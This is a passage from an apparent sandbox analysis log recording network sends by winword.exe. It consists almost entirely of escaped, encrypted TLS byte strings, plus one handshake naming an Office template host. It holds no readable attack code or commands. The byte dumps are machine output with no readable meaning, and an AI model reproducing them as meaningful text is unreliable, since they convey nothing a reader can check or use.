\xbcpl\\xc8\\xdf\\x93`\\xa9\\xf6\\xb4\\x9a\\xb8nu\t\\xf2\\xbe\\xa17\\x86/\\x00u\r\\xa8\\x87\\xca\\x0e\\x18\\xa3r-\\x9a\\x83\\x11\\xc5\\xe5\\xbb\\xfb\\xc2\\x04\\x8a\\x92d\\xdd\\xca\\xc6\\x8b\\xcc\\xaa\\xb6\\xc74\\x8aop\\xcao\\xbc\\x13\\xf13#\\xb5\\xc9\\x17=\\xd2x\\x0b\\xc3\\x11q=f\\x81\\xa3\t;\\x83\\xc4\\x9f*!b\\xf4\\xd6\\x10\\xd5\\x82h\\xdb`\\x9e\\x15"
  529.  
  530.  
  531. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010vt\\xea\\xafb\\x966\\xb9$\\x1c<\\x0c\\x90\\xdc\\xe9,$\\xfct\"?\\xc1)\\x87\\xc3\\xcd`\\x93\\x0f\\xc87#-\\x02\\xb8a\\xea\\xc2\\x93n\\x98\\x84\\xab\\x1a\\x8b\\xc3\\xd24\\x88\\xa1li\\xafb\\xbb\\xbc\\xa8\\xcb\\xc1\\x14bp\\xc8|dqp;\\xbb\\x8e\\x12\\x00\\x8bg%\\xd8l\\x01\\x1do\\xf8\\xce\\xf9u\\x95\\xbf\\x05`\\\\x14v\\xc0\\\\xc0\\xee\\x19\\xa45\t\\xf7%\\xa4\\xca.\\xc9,\\xb0\\x19y\\xf2\\x8d\\xacm\\x9d\\xa3=\\xed\\x1d95v\\x08\\x18-\\xb6\\xbb\\xec\\xb6\\x82\\x85s\\x04\\xa3\\xae\\xdd\\xb8\\xe9k\\xbe\\xb4\\xe0k\\xb9v\\x89\\x9b\\xc4\\xc4\\x04\\xd3\re\\xa9d\\x89\\xb2\\xcd\\xa7v\\x00\\xff\\x08=\\xe3\\xde\\xc1\\x82h\\xf6_\\xb0e\\xd3\\\\x94.)\\xb2>\\x91\\x18\\x7f\\xa3\\x9c\\x1c\\xcb\\xce6\\x1f\\xf2\\xa6#\\x15\\xba\\xab\\x94\\x9f\\xcc$y\\xe7\\xbe\\x81\\x14k\\x86'c~\\x03\\x15\\xb5\\x8fy`\\x07\\xa3!,\\xa6~\\xc7y\\xf4n\\xbf\\xf94\\xbb\\xf4\\xdb\\x03\\xa7\\xael\\x9ft\\xe0\\x80\\x8d\\x00\\x1d\\xc7'b1\\x99\\xaa\\x14"
  532.  
  533.  
  534. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xf4,3\\xdf\\xb4\\xd3\\x1b\\xcf\\xaet\\xca_:ul\\xba\\x06\\xd9i\\x95\\xef\\x90\\x04\\xbes\\x0e@\\xb50\\xd3t\\xf5fpx<\\x99\\xde\\x13y\\x1a\\x85\\x06\\x9c\\xa6\\x18\\xdb\\xac\\xf7\\xa2\\x08\\x04\r\\x9b\\x86\\xf2\\x81t\\xf1\\x04\\xb6\\xae\\xa0m\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000i\\xfd\\x7f\\x7fe_0\\x0c\\xbao\\xea\\x18\\x8fa\\x9dg\\xb3^eb/\\xb8\\xd18\\xc6\\xc9\\xc5\\x9b\\x11\\x99\\xe0\\=gk~<\\xda\\xff=\\x1b_\\xe4\\x12\\x18\\xe3\\xb1"
  535.  
  536.  
  537. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x99\\xa0\\xf0\\xf7\\xee\\x90zos\\xa6\\xb2\\xa0\\xc4\n\\x17ao\\x04\\x91\\xf4=\\x92\\xe0\\xba,\\x018\\xd7\\xee\\x13\\x98*c\\xa2<\\xde\\xc3\\x02$\\xd5\\xaat\\xfd\\xd8 1\t\\xeem\\x90\\x97:\\x9e\\x86\\x87\\xd7_'\\x06\\x12pq\\xba\\xa2\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000u\\xed\\xef\\xf9\\xef\\x7f4l>\\x08\\x99d\\xc39m\\x88\\x95;\\x85\\x1a\\xd8\\xdf\\x9by\\xb3\\xa9u\\x18\\xe0\\xd73\r;\\xdc\\x9a\\xc7\ni\\xd1\\x07\\x9fg<\\x08\\xef\\xba\\xa5\\x06"
  538.  
  539.  
  540. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010a#\\x05\\xd2\\xcf\\xbe;\\xb3\\xbc+\\x1a \\x1co\\x9d\\x8f.\\x0cc\\xcdw\\xfc\\xcc\\x07mnj\\x84\\x8f\\x0e\\xad\\xccdb\\x0cg\\xf0w\\xbbch\\xed\\xc3\\x8c3\\x81\\xc3\\x0e\\x86\\xce\\x93w-\\xae\\x02\\x03\\xf2\\xf15\\xd5\\\\x97\\x99h\\xd6-\\x1b\\x88\\x84\\xbf\n\\xb8)\\xcb\\x89j\\xf2\\xb7\\x7f\\xbf\\xfb2k>\\x9cl\\xf22,\n\\x97\\xe3\\xe63\\xd6\\xbd\\x00\\x04\\xcb\\xf7\\xad\\xbe\\x08\\xc3k\\xae\\xda\\xc7f\\xd0\\xfe\\xc2\\xce\\xf0\\xa9\\x06\\x94\\x0e\\x98zl\\xe4s\\x91~\\x0c\\x984\\x9a\\x8f\\xd4\\x0c\\xfd\\xfa\\xfa\\xcf\\x8e\\xbb\\xab\\x12\\x0e|v(\\x89\\xd3z\\xae\\xda\\xdb\\xbe\\xd2\\xab\\x16f\\xba\\x8a\\x1e\\xb8r)\\x94\\xaf\\x11,\\xa4\\xce\\xe1j@\\xc3\\xc1\\xc4\\xa7x=\\xe3\\xb6(\\xd0\\xba\\x15\\xc3\\x0f&q\\xf0\\x85\\x00\\xb6w\\xd6\\xe5m\\xf3\\x10\\x1b\\x9c\\xe6\\x81\\x834w\\xdfw\\x04\\xac#\\xd9\\xfa\\xbd\\xa6#\\x88\\\\xea\\xbeec\\x14\\xdc\\x14\\x84\\xa0\\xc9p\\x15b\\x12\\x0e\\x19\\xc0\\x9d\\x8dm\\x1c(e\\xad\\xd7w\\x97\\xeb\\xa2\\x16\\x084/"
  541.  
  542.  
  543. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xf0\\xceq\\xe3\\xf7\\xec\\xe9cojz\\xa2\\xb7\\xd3j\\xe5\\x8b\\x16\\x15\\x01n\\xd1!^q\\xad\\x17\\x8c_\\x04\\xd9\\x81j8\\xc7eg&\\xf1\\xc0+=\\xd4\\x91\\xe1\\xbf\\xa7\\xbb>k\\x0c\\x08g\\xf6f\\xa8-@\\x86\\x08fp\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000bn@\\xa5\\x15\\x9b\\xa6\\x9e\\xfa\\x9a\\xeb\\x9f2\\x00/\\xac\\xae\\x9d\\xbc\\x8f\\xa1\\xb8\\xbanr\\xcc>\\xb8\\x8c\\x92l\\xda2/\\xf3\\xdche\\xcb\\xc5\\xcf\\x94\\xa0\\xd0kq"
  544.  
  545.  
  546. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xe6\"\\xb01-qj\\x91\\xab+\\xc6\\x93o\\xb3\\x19\\xa1@\\xc8@q\\xa5\\xf1\\x0f\\x18\\x81\\x1b.\\xd2\\xb4m\\x16+v\\xf4\\xdf\\x97:\\x04\\x8eq\\xa81\\xce\\x9bsp4\\xceb\\xbc\\x1d\\xe8\\xd9\\xac\\x9f\\x89u\\x07f^7t\\xc8\\xbb\\xc3\\x8c\\xeb=\\xde\\xbc4\\x0c3o\\xb8\\xe0\\xb9\\x00wb\\xb0\\xc6m\\xef\\xf2i\\x1b\\x82:\\x88\\xa4\\x91\\x96\\xd8\\x88\\xe1\\xbe\\x82\\xcbj\\x83ree\\x9c\\xfe'#k=\\xe8\\xaa\\x94kg\\xce\\xd4kn\\xf8\\xec\\xf4\\xd2\\x91\\xd3p-\\xc0\\x0e\\xb5\\xb1=\\x82'\\xa4\\xdd\\x05m\\xbd#\\x03\\xa4s8a\\xffba\\xd6\\xfc\\xd1\\xfb\\xc6\\xeb\\xf9\\xcb\t\\xf6:\\x1cp\\xd1!0\\xe9\\xa2\\x9d\\xde\\xea\\xcc>\\xc5e\\x9el\\xe2\\x82\\xc8\\xbc\\x15\\x9ee\\xa5\\x878\\xa2\\x81\\xd2y\\x851\\x0ep\\xde\\xba2\\xdd\\xa8u\\x14\\x1b\\x04\\x07\\xf0dl\\xd3\\xb9\\xa0\\xb7\\xe5\\xc3h\\x1e\\xad\\xe0z\\xcd|o\\xa6&oh\\xebt\\xcf!.l\\xdb\\xc5po_h\\x08n5\\xb3\\xd2\\x0fx\\x893\\xb6\\xc4tw"
  547.  
  548.  
  549. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x9d\\x94\\x18@\\xf0\\x92,\\xe8#\\x05\t\\xa0\\xa4\\x17\\xb9\\xb1j\\xbbr\\xb35i\\x0e\\xe2\\xff\\xed#\\xef/\\xbeqpm\\xbf6\\xda\\xbavk$\\xc7\\xa0\\xe3\\xd1\\x86\\x83t\\xbcby\\xb3\\xfe`\\x18\\xd7\\x10n|\\xa8\\xf8\\xd0\\xc3-\\x88\\x02kxt\\xad\\xad\\x88\\x9f\\xfds\\x97\\xbep*\\x1a\\xf9 \\\\xaaz~\\xc8\\xe1\\xad\\xf7\\x10\\x8cvj\\xf0\\xc5\\xd7\\xfc\\x7f\\xf6\\x1bm\r\\xe8\\xa2\\x91`\\x87\\xadse\\x1f\\x06\\xf6\\x1ece\\xfc&\\x1f\\xe6\\xe4\\x92\t\\xe8/v+\\x88\\xee&)\\xcc`h\\x1c\\x90;\\x85\\xc1i;\\xb9\\xe9\\xd2y\\x95\\xa8\\x9e\\x1e\\x1b\\xda\\x126;\\xc95\\x02\\xd1\\xf0q0\\xca\\x84\\xa6n\\x1d\\xb2\\x818\\xdcr\\xed\\x8c\\xe2\\xff08c\\xbe\\xef=\\x0c\\xa5\\xaf=\\x83\\x04v\\x80\\xe3\\xaa\\xd8y\\x05\\xd3#x\\x12o\\xb5a\\xa6\\xba\\x83\\x03\\x0e\\xcd\\x04\\x94#c\\x08\\xeb\\xe8jo\\x88\\xe8\\xf8p\\xd5b\\xe3\\x90\\xeb\\xc7?\\xa9\\x81\\x0f\\xdc\\x03\\xd0gm\\x86c\\x08\\x9c4\\xfch\\x18\\xb4\\xff\\x01\\xeb"
  550.  
  551.  
  552. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010i\\x80\\x82\\x9dly\\x02\r\\xb3\\x91\\x95`\\x9e\\xe9t\\xf4\\xbb\\x9c\\xef\\xf5u|\\x83mm\\x8b\\xe9\\x1b>\\x07:\\xb6\\xdac*\\x8831$u\\x92\\xe9\\xdc\\xb6\\x99\\x84m\\xa7\\xb5\\xaf\\xd3\\xc9\\x08\\xeaxjx\\xd1\\x83aq\\xfd'\\x04k\\xb9\\x8c\\x93\\xd9r\\xa1\\xe8o\\xd0\\xd9\\xf0\\xc8\\xac|\\xe8\\\\xc67\\x03=\\xc5;\\xef\\x1c\\xdf\\xed\\xf4j\\xa5ww!\\xb0\\xb54u\\xf0\\xba\\xae4<\\xec\\x87\\xa8pn2\\xf1k\\xfa)\\xf8\\xd3a\\x19\\xbe\\xd0\\x0f\\x011>\\xc4<:\\xe9%\\xfd\\xa3<\\xf3\tkg8\rvx\\x83\\x18\\x1a;\\x9d\\x91\\xc8|\\x95\\xda\\x11\\xfd\\xfb\\xf3g3\\xa0\\x80+\\x9d\\x8f\\xce\\xf4\\xb4\\x80\\xb6\\xe4\\x9a\\x8f\\x84\\xb0\\x0c\\xb7\\xf2z\\x17\\x13n\\x1dn\\xc7\\x82*lp~\\xf5\\xb5f\\xed\\xffosedc\\x80\\x0f\\x8e\\xd9q\\xb2n\\x91\\xb7\\xd4\\xc2\\x12\t\\x9a\\x0cl\\xfaq\\xda\\xc1b\\x80\\x96\\xab\\xce\\xee\\xe5\\xc4\\xfc\\xdb:\\xb6\\xaatgs\\x91$y\\x95\\x0f*\\xc2\\x05\\xd9\\x0c`\\xd6\\xbd)a"
  553.  
  554.  
  555. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x013\\xc5\\x8a\\x0bqz$\\xca\\xb5\\x9e\\xf9b\\xd6o\\x0f\\x1c\\x8e\\x1a'\\x86\\xdex\\xcd\\x9a\\x81\\xbc\\xb3$\\x07\\xad\\xbe\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  556.  
  557.  
  558. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010 *c\\x8fb\\xc7y\\xd2w\\x06\\x00\\xea\\x9f\\xf1\\xa7\\xb4\\x0f\\xcf\\x04s\\x9b\\xdb\\xd7\\x1f&`\\x0f\\xeb`\\xae\\x15\\xab\\xd6\\xea\\xa4\\xa4io\\xcab\\xec\\x98\\xb9\\xb06\\xb0\\xe2\\xdc%\\x90!\\x99v<\\x85\\x95\\xc4q\\xb5\\x0b\n\"\\x90\\xdc\\x95\"\\x94\\x03\\xa7&%\\xe0\\*\\x94\\x0b\\x90`\\x0ek\\x8c\\x98\\xe7\\x1f\\xf1\\x17h#-\\x99\rl\\xe7\\x87a\\xd5\\x9b\\x02\\xcblv<u\\xeeh\\x1e\\xddp\\x8d\\xcf\\x8f\\xfej\\x81\\x85\\x0e\\xec\\x91\\xa3\\x87\\xc5\\xe5\\xf6j\\xd7\\x95\\x9f\\xd2y\\xb2g\\xbd\\xf4y\\x16\\xe5\r\\xdb\\xc4\\xa6\\x10o3\\x03rb\\xbe\\xec\\xfa\\xb3\\xa3\\xec\\xecj.-\\xf5\\x9dcv\\x97\\xf1\\x18\\xef\\xef\\x9e^8\\xaf\\x14\\xbfx\\xce\\xb6\\xa3\\xb7\\xf6hl\rze<s\\xce\\xfbe\\xd0\\x82\\xfel\\x19ds5\\xfd\\xee\\x85\\xfa\\x1d\\xdb5f\\x0c*-\\xbf\\xcb\\xeb\\x02\\xa4\\xcfy\\xf2\\x8f\\xad\\xf3ct\\xda \\xe9\\xa0j/p\\xf2\\xf4\\xad\\x9d\\x1e\\x9f\\x9b\r\\xe2\\x9eq\\xa7\\x19\\xb4%h\\xe8\\xde:\\xb7"
  559.  
  560.  
  561. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xd9\\x1b\\xe1\\xf2\\x92\\p\\xde\\<\\x9a\\xfc\\xbc\\xa7\\xb6\\xa8p!\\x1eqq\\xa4\\xd9\\x1c#j\\xe8/rvd\\x15\\x84gax\\xd7/4^\\xb6\\x14\nc\\x97\\xc6u\\xb26\t\\xbf'\\xf3\\x85\\xa2\\xfea\\x9e6\\x96(\\xaa\\x10\\x84\\x01\\xb8#so.3\\x16y\\xa9\\xdf\\x99-y\r\\x8a\\x85\\x94^;\\x1b\\x00\\xa97\\xfefl\\xe5\\x88o\r\\x88*\"\\xc7!.\\x02\\xfb\\xe6\\xc2(\\xfa\\x05i\\x7fj\\xce\\xdcj\\x05w\\xa4\\x0c\\xf2g@\\x90\\xe4\\xe6\\x05\\xd9\\xfa\\x97u\\xcao\\xd7%#l\\xe8d\\x8b4\\xd7\\xd3\\xb0\\xfeq\\xe0$\\xfay\\xcc\\x92\\x14t)\\x87\tg\\x03g\\xffu1\\x84\\x07tor\\x13c\\x9e\\xa0\\xb3\\xac\\xf4w\\xf5\\x82\\xb8m\\xbc\\xab\\xe6\\xc4w\\xc7\\xec6\\x89y\\xa5\\x156\\x859\\x14pse\\x19\\xf4\\x95\\x08\\xf6y4\\xea\\x83\\xbf\\x04\\xb8ue\\xff\\xb3\\xc2\\x06gr\\xa6\\x0e\\x03=\\x0f\\x9e2\\xe6@\\xc6x\\x15/\\xc8\\xd8y\\x07i\\x18\\xed\\xd9\\x14h\\xd0me\\xf9*\\xf2"
  562.  
  563.  
  564. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xdd*\\xa7\\xd5\\x94jc'\\x14\\xbd\\x89\n\\xc2`\\xf1\\xf4\\xe0\\x1dyu\\x19\\x8c\\x06\\xb5w\\xe0\\xb5\\xd5\\xe4r\\xff\\xfd\\x03\n=\\xc7\\x08\\xc0\\x95\\xa6\\xeb\r\\xab\\x9b\\x1bw.\\xd7'z\\x85\\xe2=\\x8b\\xc3\\xf3\\x9eyu\\x0c\\xea|\\x15-\\xa7\\x08tr\\x07\\x06\\xe8\\x93\\xc2x\\x85\\x93\\x1c<j\\x10vm(\\xe0\\xc4l\\xab\\x8a\\x06\\xae\\xad\\x10\\xbd\\xe5\\x01\\xe6\\xd1<\\x17\\x88\\x94\\x88\\x1c\\x9e\\x153\\x14\\xf9%k+'\\xca\\x83t\\x82*\\x89\\xff\\x87.\\xdcf\\xfbi\\x90da\t2\\xc0kl3|\\x9b\\xb3z6\r\\xfc\\x98\\xa6\\xec\\xe6\\xfe\\xf3\r>\\x87\\x1fv\\x06\\xd7\\x1e\\xd8\\xab\\x87\\xbf\\xfbm\\x8a;\\xd8_\\x0b~r\\x9e\\xa4\\xa6\\xc6\\xba\\x01s\"l\\xddq\\xc4\\x97\\x01\\x1a\\x1f\\xb6\\xae\\xed\\xfe\\x9b\\x94c\\x0fp\\x9bg\\xfd\\xc9q\\xdb\\xfe\\x046\\xbe;u\\x06<\\xb4\\x97\\x18>)\\x88p=\\x01\\xda\\x1et:\\xc2\\x83\\xfcb\\xa8\\xebk\\xeai\\xdf\\x0e\\x9b\\xe6\\xc93/\\xfc\\xe4\\xe5\\xc2\\xcd;\\x02\\xbft1\\xe8\r\\xd5h"
  565.  
  566.  
  567. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x97\\xbe\\xb0\\xc3\\xb4\\xff\\xe7\\xbb>\\xc5\\xf9?\\xde\\xcc\\x11|$^\\x85caa\\xed\\xf7\\x9bd\\x81\\x02f\\xfal\\x8a\\xc7\\x940\\xbf\\xd8\\xbb\\x96m\\xd1\\xf3\\x88\\xaac+qh\\x94\\x8c\\xb8\\xfe\\x13~t\\x97\\x98\\xbe\\xee\\xcd\\xabh\\x10l+b\\x80\\x06e\\x84g``d?\\x89\\x9b\\x0f\\xd3\\xf7;f\\x90.\\xe7\\x86;#cx\\x8dfbi\\x97\\x81\\x18h\\x8a\\xeb_m\\xf4\\x86\\x0c\\x8d\\xa0\\x92&\\xb1\\xd6vc\\xb4\\x83\\xbd\\xfek\\x10\\xb3\\xc3\\xe6\\xa3x\\xc4r\\x12\\xd0+\\x9ew\\xde\\x1fg\\x8a\\xecw\\xde\\xcd\nm\\xfbxm\\x05\\x08\\x81\\x14\\x95l\\xe5x\\x86\\x84\\x02\\xbe\\x9ds\\x07e!\\x0e\\xa3\\xae\\x87vgt2\\xb3\\xf3\\xdd\\xbf\\x9a\\xcdmx\\x95h\\xaa0#/&\\xfd\\xb6\\xb8\\xd9\\x17\\xce\\xc1 @\\xfc<\r8\\xa86i\\xf3gu\\xc5at\\xb4d\\xcen\\xa2\\x06\\xd4\\xcf\\xd0\\xcf\\xde'\\x12\\x8b\\xc7r7\\xfd\\xa2\\x99\\xb5`y+\\x15$\\xf0z6\\xc3r:\\x1e;\\x18\\xd4o\\xc19\\x92\\xf2\\xac"
  568.  
  569.  
  570. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010vlss\\xa1\\xcf\\xe6\\xe6oe>i\\x80)\\xfb\\xcd\\xd0\\xbd\\x8d\\x1ae\\xaf\\x19d;\\xd3\\xa5\\xe1\\x90\\xc1p\\x02\\xa1\\xb6\\xd1\\x8a\n^\\xafj\\xe0\\x05\\x0b\\x82\\x1e5q\\x8d\\x0c`iv\\xc4\\xa69(7%$!\\x17l\\x08\\x0eo\\x0ey\\xd54\\x8b\\x99p\\xba@\\x9d4\\xbe\\x9cp`\\xc4m\\x10\\xdd\\xb4\\x0b\\xb3\\xc7'\\xfd\\xee\\x8b\\xcb\\x03\\xc0\\x14\\x95!t\\xa2\\xd9y\\xa9\\x05\\xe4sh\\xf7c\\xe9\\x9e\\x1b,\\x94\\xcb|\\xa92\\xfc?x\\x9de\\xd2t\\xcel<m\\x0bf\\xb5\\x9d\\xfc\\xf0\\x01l\\xfd\\x14\\xaa\\xe1\\xb7\\xe3l\\xe4\\xee.$i\\x95l\\x8f\\x87s\\x01\\xe5\\x13p\\xc1'\\x00f\\xec;ci\\xe2-/f\\x86\\x97\\x11\\xda\\xe4\\xcb\t4\\x03a\\x07kx\\xd9\\xd4\\xea,\\x94\\x8e\\x8fyn2\\x9e\\x93u\\x04\\x8eu\\x0f\\xb7\\x8e\\x0b*\\x92\\x0c\\xf8mwr\\xd5\t\\xdf\r\\x87\\xe8<\\x8e>>%\\xe8y\\xb2>\\xe2\\x82\\x81\\xec\\xd7\\xbe\\xae\\xceu\\x00\\x1a\\xb5q\\x0f\\xd7\\xb51\\x1952\\xc8$q\\xban\\xe5"
  571.  
  572.  
  573. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04wd\"!6\\x0e\\xa8 \\xf61\\xe6\\xd7\\xf7\\xe9\\xd3\\xa5o\\x914?\\x12\\xe6t\\xa5\\x82\\xdd/~\\xda^\\x9c\\x03\\x01#\\xc9\\xd7\\xce\\x7f\\x08\\xacs6\\x11\\x03\\xa1\\xe45\\x19\\x91\\xbd@<;\\xcde<\\xa9\\x0f\\x8b\\x9e\\xebh\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x16\\xbd?\\xa3\\xd3x\\xbf\\xa6\\xf5;f%\\x01\\xc4\\x16^l\\x0e\\xf5\\x1c\\xf2\\x92\\x19\\xc0\\x9a\\xff\\xa1\\xee%\\xe0l\\xa7\\xa0=\\xdbri\\x8c\\x97\\xae\\xb1\\x1e&c\\xb2\\x8c\\x9a"
  574.  
  575.  
  576. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xf2h\\x91l\\xe4v\\x01,?\\x99f\\xbd\\xb8o`\n\\x82\\xe7)\n\\xb8\\xb3\\xed\\x82\\xd6`\\x9e\\xbbkk>\\x82v\\xf0\\x8bmnt\\xa6\\xa6!\\xef\\xbd\\x0e\\xe4\\xe8a\\xafy\\xc6no\\x04\\x7f\\xac\\x92v\\x95\\x9a\\x175\\x0e\\xfc\\x7f\\xc7\\xaa\\x84\\xa3)l0-\\xa3)r6\\xbf\\xf37;&\\xc5+\\x11^\\xd3\\xa9(\\xb4\\xf0q\\xfbi\\xde\\xbd\\x9a\\x08\\xf0\\xc5\n#\\xbf%\\xad\\x88\\xc0@5q\\xea\\xd9s&\\x9ed\\x088b\\xf8\\xdf\\xfc\\xa5(\\xef\\xc37u\\x1e\\xbc^\\xcf\\x93bh\\xe8\\xd9\\xb9\\x82e\\xd3\\xc9u\tp\\x82\\xc5\\x147imp\\x88\\x9b\\x13\\x02\\x8c|\\x03v\\x15\\xb7u6\\xd6\\x04h\\xfa\\x13\\xaf|7\\xc1\\xbc\\xddo\\x80\\x93\\xb1zx\\x88\\xfa\\xf0\\xe4l\\x1b\\xcd\\xfe:\\xc4\\xd9~f\\xe2|i1\\xf2d\\xc2\\xae\\xd3\\x92wd\\xa6\\xaa\rie\\xea/m\\x8b\\xe3\\x7f\\xdd\\xf0\\x1d\\xaeb# \\x82\\x82\\xca@4\\x03\\xa3\\xf7,\\x88i,\\xc2\\xeb\\xa4<\\xce\\xaco\\x13\r\\xde\\xc8\\x83"
  577.  
  578.  
  579. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010.\\xd7\\xdfc\\xe6\\xe9\\x0b#\\xb6\\xac\\xad\\xc8sv$8@\\x86\\xe2o\\xaa\\xechy7\\xeaa\\xa2dg\\xf0f\\xaf \\xfb_\\xd1hw\\xf2s\\x0es\\x1e\\xee\\xca\\x0ct\\x85~\\x95+\rp\\x13msk\\x9ci0@\\xef\\xa0xu\\x15\\x18im\\x8ca\\x14\\x17\\xfbo\n\\x8e#o|\\x17\\xfa\\xe6\\xdc-\\xef/\\xa6\\x80\\x93a\\xa3q,\\xd9)n\\xe1\\x04\\xc9,\\x9df\\xeau\\x81c\\xdb\\xda\\xcd\\x12w\\x0eq\\x00\\xf5`\\x7f\\xedl/0ow`\\xd2v\\xb6d*g\\x0c?\\xf7\\xcaz\\x07&\\x02\\x96\\r\\x16\\xe6\\x8c\\xe1\r\\xa7q\\xbb\\xa6\\x12\\xe2l\\xf4\\xc2\\x1e\\x14\\xbfgg\\x047\\xcbp\\xd3(\\x7f\\x0b\\x87\\xe4\\xfae\\x9a82\\xdc\\x81\rhe\\x1e7\\x94u\\xde\\xde\\xb6\\xd293o\\x1f\\xdd\\x8b\\xf9\\xa1.\\xe6*\\xa6v\\x04\\xf9\\x99\\x13\\xcb+\\xc2\\xe8\\x9a\"yc\\xf6\\x9c\\xdb\\xa0\\x83\\xd2\\xae`\\xb1z\\x86\\xeci\\x0f\\x90\\xe6\\x92\\xb9\\xda\\x8e\\x06\\xd70\\xec\\xcb\\xd5\\xc5/\\x84\\xb2\\x80\\xb0"
  580.  
  581.  
  582. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x88f+\\xd7>\\x7f\\x07\\x96l+p\\x17ts\\xa3\\xad\\xcd\\x8c\\xe5\\xee%\\x98\\xe4\\xbcdsrzy\\x06`u\\xbae\\xe7\\x9e7\\x14'\\xd9\\x11\\xf6\\xef\\xb4:\\x06\\xff\\x17a\\xea=\\xd6:f\\xb4s\\xc4\\x84\\xfa\\xcfks\\xd2\\x1e\\xa0f\\xcbx\\xa2\\xa3\\xf1\\\\xd6h\\x0c\\xee/\\x1d\\x97\\xcd\\xe5t\\x87\\xc4t\\xab\\xcdix\\xaf\\xb1\\xf9v\\xec\\xcc\\xfa\\xe8\\x91\\x13\\xf6j\\xf6+\\xe2\n\\x84\\xb1*c\\xfa\\xbd\\xb8p\\xa8|-.\\x1f\\xc8\\xd9\\x06\\x12l#\\x88b\\x99\\xfc-\\xc3\\xafm\\xb8\\xc1\\<;\\xb0m\\xf2c\\xaby\\x83\\x925\\x85\\x18\\x13\\xb7\\x14\\x13\\x97\\xd1\\x7f\\x0f\\xfc\\xd3\\x1ebl\\x1c\\xb3%\\xd3\\xe6\\xcc5\\xbfs\\xb7g5\\x16\\xbdb\\xb8\\x11\\xf1\\x8b\\x99p\\xa9z@s\\xf9\\x7f\\xf7\\x07\\xdc\\x9b&_n\\x04l` o\\xb9\\xbfk+\\x92\\xbb\\x0e\\xa4\\xa1\\xb1:\\xed\\x02\\x94w\\x9dq\\x99\\xb4\\x93c\\x13\\x87\\xdc\\x110h\\x9f\\x16\\x0b\\x88\\xd5\\xb5\\xe1rs%\\x1e\\xfd\\xd8!\\x96+\\x0c\\xe3p"
  583.  
  584.  
  585. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x83n\\x1e\\xe4\\x1bdz@\\x18h\\x01\\x1b\\xb9\\x12\\xcf\\xd7l\\xb5/-\\x10\\x83\\xcc\\xd6\\x1c\\x8ai\\xf0m8\\xbc\\xec\\x0c\\xcd\\xdc\\x1az\\xea\\xac\\xda\\xe1uvb\\xe0\\x89v\\xff\\xa3\\x1e7\\xcb\\xdc\\xdf\nrq\\xa9)\\x883:,\\xf1&\\xcf\\xd2q\\x8c\\xfe\\xdb\\xf6\\xa9\\xac\\x8d\\xe7\\x82\\xcdp\\x92\\xd6\\x06\\x88\\x1fu\\x80\\xb3\\xe1\\xc1a\\xa6^x\\x94\\x08\\xebcs\\x91\\xf8\\x01\\xf8\\x1b\\xc9\\xc1\\xdfh\\x8f\\x8fg\\xaelr\\xca^\\xcd7\\xbd\\x90\\x9c\\xa4)\\xee|qt\\x08,^\\x18m\\x8e\\xa3k\\xe4\\xa3m&g\\xce\\xf3!a\\xbb\\xb4o\\xe7\\x00$\\xac\\xa3^\\x82\\x9a\\x80&b`\\x93\\x82\\x9bb\\x8a\\xc0\\x91/ 1l~\\xc0\\x18\\x8cu\\xd4\\xc6\\xc7l\\x7f\\x8d\\xd9,d\\xc4\\x92*y\\x97<\\x9b\\xa2j\\xfc\\x93@\\xd9\\xf6\\x98e>p\\x94\\x02\r\\x8f\\xef\\x1cs(\\x12&\\xf3\\xb9mi\\pzw\\x1f9\\x8d\\xd1\\x06(\\x85\\xad\\xf3y\\xb86\\xf8\\xe25\\x17\\xd6c2\\xf7\\xe8p>\\xf8p\\x17t2ca"
  586.  
  587.  
